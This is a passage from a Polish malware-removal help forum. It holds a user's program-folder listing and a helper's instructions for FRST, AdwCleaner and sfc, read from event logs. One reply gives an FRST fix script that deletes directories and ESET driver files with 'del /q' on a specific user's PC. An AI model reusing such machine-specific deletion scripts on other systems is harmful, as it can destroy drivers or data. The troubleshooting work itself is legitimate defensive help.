Settings\Krzysztof\Application Data\npm-cache C:\Documents and Settings\Krzysztof\Application Data\Oberon Media C:\Documents and Settings\Krzysztof\Application Data\Odian Games C:\Documents and Settings\Krzysztof\Application Data\OpenCube Inc C:\Documents and Settings\Krzysztof\Application Data\OpenFM C:\Documents and Settings\Krzysztof\Application Data\Opera C:\Documents and Settings\Krzysztof\Application Data\Opera Software C:\Documents and Settings\Krzysztof\Application Data\Oracle C:\Documents and Settings\Krzysztof\Application Data\Orneon C:\Documents and Settings\Krzysztof\Application Data\Phantasmat_bf_se1 C:\Documents and Settings\Krzysztof\Application Data\PlataGames C:\Documents and Settings\Krzysztof\Application Data\PlayFavoriteGames C:\Documents and Settings\Krzysztof\Application Data\PlayFirst C:\Documents and Settings\Krzysztof\Application Data\PlayPond C:\Documents and Settings\Krzysztof\Application Data\Playrix Entertainment C:\Documents and Settings\Krzysztof\Application Data\PSpad C:\Documents and Settings\Krzysztof\Application Data\PuzzleLab C:\Documents and Settings\Krzysztof\Application Data\Realore C:\Documents and Settings\Krzysztof\Application Data\RealWorld C:\Documents and Settings\Krzysztof\Application Data\ShamanGS C:\Documents and Settings\Krzysztof\Application Data\Silverback Productions C:\Documents and Settings\Krzysztof\Application Data\SmartDraw C:\Documents and Settings\Krzysztof\Application Data\SMIGames C:\Documents and Settings\Krzysztof\Application Data\Specialbit C:\Documents and Settings\Krzysztof\Application Data\Star-Tools C:\Documents and Settings\Krzysztof\Application Data\Subversion C:\Documents and Settings\Krzysztof\Application Data\SulusGames C:\Documents and Settings\Krzysztof\Application Data\Sun C:\Documents and Settings\Krzysztof\Application Data\SunRay Games C:\Documents and Settings\Krzysztof\Application Data\SunwardGames C:\Documents and Settings\Krzysztof\Application Data\sweet-page C:\Documents and Settings\Krzysztof\Application Data\tabagames C:\Documents and Settings\Krzysztof\Application Data\Talkback C:\Documents and Settings\Krzysztof\Application Data\TeamViewer C:\Documents and Settings\Krzysztof\Application Data\Tencent C:\Documents and Settings\Krzysztof\Application Data\Teyon C:\Documents and Settings\Krzysztof\Application Data\TikisLab C:\Documents and Settings\Krzysztof\Application Data\Top Evidence C:\Documents and Settings\Krzysztof\Application Data\TortoiseSVN C:\Documents and Settings\Krzysztof\Application Data\Unity C:\Documents and Settings\Krzysztof\Application Data\Vast Studios C:\Documents and Settings\Krzysztof\Application Data\Vogat Interactive C:\Documents and Settings\Krzysztof\Application Data\WinRAR C:\Documents and Settings\Krzysztof\Application Data\World-LooM C:\Documents and Settings\Krzysztof\Local Settings\Application Data\DonationCoder_ScreenshotCaptor_InstallInfo.dat C:\Documents and Settings\Krzysztof\Local Settings\Application Data\{32A3A4F2-B792-11D6-A78A-00B0D0150120} C:\Documents and Settings\Krzysztof\Local Settings\Application Data\5C8CAC0A-1443301797-5799-9460-C2325843CB2C C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Amazon C:\Documents and Settings\Krzysztof\Local Settings\Application Data\ArcSoft C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Autodesk C:\Documents and Settings\Krzysztof\Local Settings\Application Data\avgchrome C:\Documents and Settings\Krzysztof\Local Settings\Application Data\cache C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Color-Brush C:\Documents and Settings\Krzysztof\Local Settings\Application Data\CrashRpt C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Farmington Tales C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Game Mill Files C:\Documents and Settings\Krzysztof\Local Settings\Application Data\gmsd_pl_005010096 C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Google\Chrome\User Data\Default C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Installer C:\Documents and Settings\Krzysztof\Local Settings\Application Data\KaDonk C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Kookos C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Namco C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Oberon Games C:\Documents and Settings\Krzysztof\Local Settings\Application Data\OpenCube Inc C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Opera C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Opera Software C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Qurb4 C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Sun C:\Documents and Settings\Krzysztof\Local Settings\Application Data\TechSmith C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Temp C:\Documents and Settings\Krzysztof\Local Settings\Application Data\TortoiseSVN C:\Documents and Settings\Krzysztof\Local Settings\Application Data\TSVNCache C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Unity C:\Documents and Settings\Krzysztof\Local Settings\Application Data\webkit C:\Documents and Settings\Krzysztof\Local Settings\Application Data\WMTools Downloaded Files C:\Documents and Settings\Krzysztof\Local Settings\Application Data\Xenocode C:\extensions C:\Program Files\20717d47-27d3-4fd5-849d-70bab7fdb68a C:\Program Files\aeafcc87-810f-4dcb-a286-bd94d8f90ac3 C:\Program Files\Atlassian C:\Program Files\Autodesk C:\Program Files\c620fa05-8fd3-422d-8b48-6fb2e023fb34 C:\Program Files\c6fdae68-5b2b-49d1-904d-708dc40b305a C:\Program Files\CasualGameBox C:\Program Files\de2a3e96-eab7-4ac0-815d-d28e00b7f723 C:\Program Files\f9138745-f797-4a7e-98f2-acd48c761d2f C:\Program Files\Feed Notifier C:\Program Files\gmsd_pl_005010096 C:\Program Files\ICTV C:\Program Files\Java C:\Program Files\jv16 PowerTools 2011 C:\Program Files\mbot_pl_014010096 C:\Program Files\Mioplanet C:\Program Files\Motorola C:\Program Files\NCH Software C:\Program Files\Norton Security Scan C:\Program Files\NortonInstaller C:\Program Files\NotePage C:\Program Files\Opera C:\Program Files\PDFCreator C:\Program Files\PITy C:\Program Files\PFConfig C:\Program Files\predm C:\Program Files\QuickTime C:\Program Files\RealArcade C:\Program Files\Common Files\Adobe-BackupByPhotoshopPortable C:\Program Files\Common Files\AVSMedia C:\Program Files\Common Files\McAfee C:\Program Files\Common Files\Oberon Media C:\Program Files\Common Files\SWiSHzone.com Hosts: Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Napraw (Fix). Tym razem nie będzie restartu. Powstanie kolejny fixlog.txt. Przedstaw go. 2. Uruchom FRST, w polu Szukaj (Search) wklej co poniżej i klik w Szukaj w rejestrze (Search Registry). Przedstaw wynikowy log. Tencent;QQPCMgr 3. Uruchom AdwCleaner. Wybierz opcję Skanuj (na razie nic nie usuwaj) i dostarcz wynikowy log z folderu C:\AdwCleaner.
  22. picasso
    Z Fixami FRST już skończyliśmy. Zastosuj DelFix i wyczyść foldery Przywracania systemu: KLIK. Jeśli ten efekt jest trwały, tzn. widoczny także po kolejnym restarcie, to już chyba nic w tej kwestii nie zdziałam. - Albo Avast + MBAM + Unchecky to za dużo i redukcja pozostałych do sprawdzenia. - Albo Avast "nie gra" z tą szczególną konfiguracją i trzeba szukać innego antywirusa... Mógłbyś zrezygnować w ogóle z instalacji zewnętrznych i ograniczyć się do tego co oferuje sam system, tzn. wbudowany Windows Defender. Spróbuj czy pomoże coś ta procedura: KLIK.
  23. picasso
    W Dzienniku zdarzeń powtarza się błąd związany ze zbyt długą odpowiedzią usługi Emsisoft Anti-Malware, co pasuje do powyższego objawu: Dziennik System: ============= Error: (10/29/2015 07:50:44 PM) (Source: Service Control Manager) (EventID: 7000) (User: ) Description: Nie można uruchomić usługi Emsisoft Anti-Malware 8.0 - Service z powodu następującego błędu: %%1053 Error: (10/29/2015 07:50:44 PM) (Source: Service Control Manager) (EventID: 7009) (User: ) Description: Upłynął limit czasu (30000 ms) podczas oczekiwania na połączenie się z usługą Emsisoft Anti-Malware 8.0 - Service. Usługa jest ustawiona na Automatycznym, lecz jak widać jest jakiś problem by ją uruchomić: S2 a2AntiMalware; C:\Program Files (x86)\Emsisoft Anti-Malware\a2service.exe [7084784 2015-10-01] (Emsisoft Ltd) Tak więc rozpocznij od deinstalacji w/w programu. PS. W spoilerze kosmetyka, tzn. usunięcie wpisów pustych. Bez znaczenia dla poprawy działania systemu.
  24. picasso
    Temat przesuwam do działu Windows. W raportach nie widać żadnych oznak czynnej infekcji... Z raportów nic nie wynika. Sugestie: 1. No cóż, główny podejrzany o najbardziej rozbudowanym układzie startowym to Panda. Na próbę odinstaluj, by sprawdzić czy to polepszy sytuację. 2. Dziennik CodeIntegrity zgłasza następującą rzecz: CodeIntegrity: =================================== Date: 2015-10-28 17:13:52.760 Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume2\Windows\System32\dsound.dll because the set of per-page image hashes could not be found on the system. Start > w polu szukania wpisz cmd > z prawokliku Uruchom jako Administrator > wklej komendę i ENTER: sfc /scannow Gdy komenda ukończy działanie, w cmd wklej kolejną: findstr /c:"[sR]" %windir%\logs\cbs\cbs.log >sfc.txt & start notepad sfc.txt Wynikowy log dołącz tutaj. 3. W Dzienniku zdarzeń powtarza się błąd gry Steam powodowany przez moduł sterowników nVidia. Trudno ocenić skalę tego problemu. Error: (10/28/2015 07:40:43 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Nazwa aplikacji powodującej błąd: Terraria.exe, wersja: 1.3.0.7, sygnatura czasowa: 0x55c8fafb Nazwa modułu powodującego błąd: nvd3d9wrap.dll, wersja: 9.18.13.5306, sygnatura czasowa: 0x55668111 Kod wyjątku: 0xc00000fd Przesunięcie błędu: 0x000031b1 Identyfikator procesu powodującego błąd: 0x1b60 Godzina uruchomienia aplikacji powodującej błąd: 0xTerraria.exe0 Ścieżka aplikacji powodującej błąd: Terraria.exe1 Ścieżka modułu powodującego błąd: Terraria.exe2 Identyfikator raportu: Terraria.exe3 Ponadto jest jakiś problem z ładowaniem jednego ze sterowników VirtualBox: System errors: ============= Error: (10/28/2015 10:10:14 PM) (Source: Service Control Manager) (EventID: 7026) (User: ) Description: Nie można załadować następujących sterowników startu rozruchowego lub systemowego: VBoxDrv PS. I czas zaktualizować systemowy Internet Explorer, nawet jeśli z niego nie korzystasz. Strasznie stara wersja IE8. Tym się zajmie skrypt FRST ze spoilera. Skrypt zaadresuje też mini szczątki adware i różne puste wpisy. Bez znaczenia dla stanu systemu.
  25. picasso
    Niestety narzędzie deinstalacyjne ESET wymaga Trybu awaryjnego. W związku z tym modyfikacja instrukcji. Opuść punkt 1, a w punkcie 2 zastosuj zmodyfikowany skrypt uwzględniający sterowniki ESET: S1 EpfwLWF; C:\Windows\system32\DRIVERS\EpfwLWF.sys [44632 2015-02-23] (ESET) S3 ESETCleanersDriver; C:\Windows\system32\Drivers\ESETCleanersDriver.sys [170280 2015-07-07] (ESET) HKLM-x32\...\Run: [Malwarebytes Anti-Exploit] => C:\Program Files (x86)\Malwarebytes Anti-Exploit\mbae.exe S2 gupdate; "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc [X] S3 gupdatem; "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /medsvc [X] S3 MFE_RR; \??\C:\USERS\WOJTUQ\APPDATA\LOCAL\TEMP\mfe_rr.sys [X] RemoveDirectory: C:\FRST\Quarantine RemoveDirectory: C:\KVRT_Data RemoveDirectory: C:\Program Files\ESET RemoveDirectory: C:\Program Files\Java RemoveDirectory: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java RemoveDirectory: C:\Users\wojtuq\Doctor Web RemoveDirectory: C:\Users\wojtuq\Desktop\FRST-OlderVersion RemoveDirectory: C:\WINDOWS\System32\Tasks\Safer-Networking RemoveDirectory: C:\zoek_backup CMD: del /q C:\Users\wojtuq\Desktop\KVRT.exe CMD: del /q C:\Users\wojtuq\Desktop\launch.exe CMD: del /q C:\Users\wojtuq\Desktop\zoek.exe CMD: del /q C:\Users\wojtuq\Desktop\zoek-results.txt CMD: del /q C:\Windows\system32\Drivers\EpfwLWF.sys CMD: del /q C:\Windows\system32\Drivers\ESETCleanersDriver.sys CMD: del /q C:\zoek-results.log Hosts: Reboot:
×
×
  • Dodaj nową pozycję...